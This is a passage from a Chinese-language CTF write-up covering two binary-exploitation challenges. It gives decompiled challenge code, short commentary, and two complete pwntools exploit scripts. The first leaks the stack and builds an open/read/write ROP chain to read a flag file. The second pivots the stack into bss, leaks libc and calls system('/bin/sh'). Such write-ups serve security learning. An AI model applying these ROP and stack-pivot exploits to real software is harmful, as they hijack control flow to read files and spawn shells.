  void *fake_addr; // [rsp+20h] [rbp-420h]
  char choice[2]; // [rsp+2Eh] [rbp-412h] BYREF
  char buf[512]; // [rsp+30h] [rbp-410h] BYREF
  char buf_backup[512]; // [rsp+230h] [rbp-210h] BYREF
  unsigned __int64 v20; // [rsp+438h] [rbp-8h]

  heap_backupa = heap_backup;
  v20 = __readfsqword(0x28u);
  printf((unsigned int)"enter new config data: ", (_DWORD)heap_backup, v2);
  LODWORD(heap_backup) = 512;
  if ( fgets(buf, 512, stdin) )
  {
    len = j_strcspn_ifunc(buf, "\n");
    buf[len] = 0;
    v4 = j_strlen_ifunc(buf);
    heap_backup = (char **)buf;
    j_strncpy_ifunc(target_buffer, buf, v4);
    v5 = j_strlen_ifunc(buf);
    target_buffer_1 = (char)target_buffer;
    target_buffer[v5] = 0;
  }
  printf((unsigned int)"Do you want to backup to heap? (y/n): ", (_DWORD)heap_backup, target_buffer_1);
  if ( fgets(choice, 2, stdin) )
  {
    puts("you have no choice,hhhhh");
    choice[0] = 121;
    choice[j_strcspn_ifunc(choice, "\n")] = 0;
    if ( choice[0] == 121 || choice[0] == 89 )
    {
      v6 = j_strlen_ifunc(buf);
      j_strncpy_ifunc(buf_backup, buf, v6);
      if ( (unsigned __int64)j_strlen_ifunc(buf) <= 0xFF )
      {
        puts("what off do you want");
        _isoc99_scanf((unsigned int)"%d", (unsigned int)&off, v7, v8, v9, v10, (char)heap_backupa);
        fake_addr = *(void **)&buf_backup[off];
        *heap_backupa = (char *)fake_addr;
      }
      else
      {
        fake_addr = *(void **)&buf_backup[256];
        *heap_backupa = *(char **)&buf_backup[256];
      }
      ptr = *(char ***)buf_backup;
      puts("give you high_quality vuln");
      printf((unsigned int)"ptr now points to: %p\n", (_DWORD)ptr, v11);
      printf((unsigned int)"heap_backup now points to: %p\n", (unsigned int)*heap_backupa, v12);
      puts("but nothing happens");
    }
    else
    {
      puts("give you low_quality vuln");
      puts("but nothing happens");
    }
  }
}

思路的很清晰,我们首先控制结构变量,泄露出来stack

然后我们通过stack从上往下写上我们的rop链即可

exp如下

from pwn import *
#io = process('./myedit_revenge')
io = process('./myedit_machine')
context(log_level="debug",os="linux",arch="amd64")
#context.terminal = ['tmux', 'splitw', '-h']
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: io.sendline(x)
s = lambda x: io.send(x)
rt = lambda x: io.recvuntil(x)
ru = lambda x: u64(io.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(io.recv(x),16)
it = lambda : io.interactive()

pie = 0
def dbg(* addrs):                                                       
    pay = ''                                                                    
    if pie:                                                                     
        for i in addrs:                                                         
            pay += 'b *$rebase( ' + str(i) + ')' + '\n'                         
    else:                                                                       
        for i in addrs:                                                          
            pay += 'b *' + str(i) + '\n'                                        
    gdb.attach(io,pay) 

def cmd(choice):
    rt("Choice: ")
    sl(str(choice))

def edit(content,off=304):
    cmd(1)
    rt("enter new config data: ")
    sl(content)
    rt("Do you want to backup to heap? (y/n): ")
    sl('y')
    if(len(content) < 0x100):
        rt("what off do you want")
        sl(str(off))

def exchange():
    cmd(4)
    rt("give you a choice to set zero")
    sl(b'n')
def set(n = -1):
    cmd(4)
    rt("give you a choice to set zero")
    sl(b'y')
    sl(str(n))
#dbg(0x401F09)  #write
#dbg(0x4020A8)  #change_over
#dbg(0x401D22)  


environ = 0x4F32D0

edit(p64(environ))
cmd(2)
rt(b'\n')
rt(b'\n')
stack = ru(6)-0x1f8#rbp
pr(stack)

edit(b'a'*0xf8+b'@'*8+p64(stack))  #这里确实是写上了,是下面这个交互修改了
exchange()
#dbg(0x401CDB)#choice 1

syscall = 0x0000000000423c36
pop_rdi = 0x00000000004029cf
ret = 0x000000000040101a
pop_rsi = 0x000000000040aa3e 
pop_rax_rdx_rbx = 0x00000000004aa50a 
pop_rdx_rbx = 0x00000000004aa50b 
open = 0x45F090
read = 0x45F1C0
write = 0x45F260

def ed(pd):
    edit(pd)
    set()

def pay(n,date):
    pd = b'a'*(0xc8-n+0x28)+p64(date)  #这里不小心错位了,这里需要额外抬高8字节
    ed(pd)
#total 25*8 = 200 = 0xc8

pd = b'a'*0xc8+b'@'*8+b'////flag'  #pay(0x20,flag)
edit(pd)
set(0)
pd = b'a'*0xc8+b'@'*8+b'////flag'  #pay(0x20,flag)
edit(pd)
set(-2)

pd = b'a'*0xc0+b'@'*8+p64(write) #pay(0x20,flag)
edit(pd)
set(-1)

pd = b'a'*0xb8 + p64(write) #pay(0x28,write)
edit(pd)
set(-1)




#dbg(0x401cdb)#choice_1


pay(0x30,0)
pay(0x38,0x20)
pay(0x40,pop_rdx_rbx)
pay(0x48,stack+0xa00)
pay(0x50,pop_rsi)
pay(0x58,1)
pay(0x60,pop_rdi)
pay(0x68,read)
pay(0x70,0)
pay(0x78,0x20)
pay(0x80,pop_rdx_rbx)
pay(0x88,stack+0xa00)
pay(0x90,pop_rsi)
pay(0x98,3)
pay(0xa0,pop_rdi)   
pay(0xa8,open)
pay(0xb0,0)
pay(0xb8,0)
pay(0xc0,pop_rdx_rbx)
pay(0xc8,0)
pay(0xd0,pop_rsi)
pay(0xd8,stack+0xc8+8)
edit(b'a'*0x10+p64(pop_rdi))
set(-1)

edit(b'a'*0x8+p64(ret))
exchange()
#dbg(0x4021d0)  #choice_4
dbg(0x40231a)  #return
#pay(0xe8,ret)

cmd(5)


io.interactive()

最后,附上另一个题目

这个题目也是一个新的思路

这个题目是正常的栈迁移,但是因为在bss的低地址,导致指令执行不了,在考虑不去使用leave指令多一层的栈帧迁移的话,我们可以使用如下的ret链大法

__int64 vul()
{
  _BYTE s[8]; // [rsp+8h] [rbp-8h] BYREF

  read(0, &description, 0x200u);
  memset(s, 0, sizeof(s));
  read(0, s, 0x18u);
  return 0;
}

这里我们的栈帧很不稳定,我们要办法抬高栈帧,不稳定或者说是函数调用的不稳定

exp如下

from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
pop_rdi = 0x0000000000400773
pop_rsi = 0x0000000000400771
ret = 0x0000000000400506
bss = 0x601080
pd = flat(bss+0xa00,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,pop_rdi,1,pop_rsi,elf.got['write'],0,elf.plt['write'],ret,0x400647+1) #
s = lambda x: io.send(x)
leave_ret = 0x4006A0
s(pd)
pd = b'a'*8
pd += flat(0x601080,leave_ret)
#gdb.attach(io,"b *0x4006A0")#0x400647+1
gdb.attach(io,"b *0x400648")#0x400647+1
s(pd)
io.recvuntil("hello.\n")
io.recvuntil(b'\x00')
lib = u64(io.recv(6).ljust(8,b'\x00'))-0xf72b0
print("libc: ",hex(lib))
libc = ELF('./libc-2.23.so')
pd = flat(bss,ret,ret,ret,ret,ret,pop_rdi,0,pop_rsi,bss+0x70,0,lib + 0x0000000000001b92,0x1000,lib + libc.sym['read'])
s(pd)
pause()
pd = b'a'*8
pd += flat(0x601080,leave_ret)
#gdb.attach(io,"b *0x4006A0")
s(pd)
####
pd = flat(ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,pop_rdi,lib + next(libc.search(b'/bin/sh')),pop_rsi,0,0,lib + next(libc.search(asm("pop rdx;ret"))),0,lib + libc.sym['system'])
pause()
s(pd)
io.interactive()